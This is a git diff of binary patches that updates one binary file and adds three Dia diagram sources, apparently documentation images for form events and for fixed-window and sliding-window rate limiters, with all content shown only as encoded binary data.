index 35a1eaebfd662ec9a9b3cb14c7f6a6eb8a78c552..1b7c6226315ee9d656f8441e40ca8351a89a8204 100644
GIT binary patch
delta 2022
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
E0NDBfW&i*H

delta 2038
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
U6Z18W)#T>Q|5A1rV{?rF0O9uZ@c;k-

diff --git a/_images/sources/form/form_events.dia b/_images/sources/form/form_events.dia
new file mode 100644
index 0000000000000000000000000000000000000000..8e7afb1cb83b5ca8f2c4bb8c52c46641ac75d5ae
GIT binary patch
literal 3179
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
R4;F8}`9D3Hk9Sk$0012tPx=4=

literal 0
HcmV?d00001

diff --git a/_images/sources/rate_limiter/fixed_window.dia b/_images/sources/rate_limiter/fixed_window.dia
new file mode 100644
index 0000000000000000000000000000000000000000..16282a2dcce2dc3cf58a40be13992366c2a10f48
GIT binary patch
literal 2356
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
ail<K>)*r;5Ny=tVAN~(zH@<Pi$N&Jno|C-*

literal 0
HcmV?d00001

diff --git a/_images/sources/rate_limiter/sliding_window.dia b/_images/sources/rate_limiter/sliding_window.dia
new file mode 100644
index 0000000000000000000000000000000000000000..e16275d89954159ea54000bf4de8826e9b3282d3
GIT binary patch
literal 2190
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
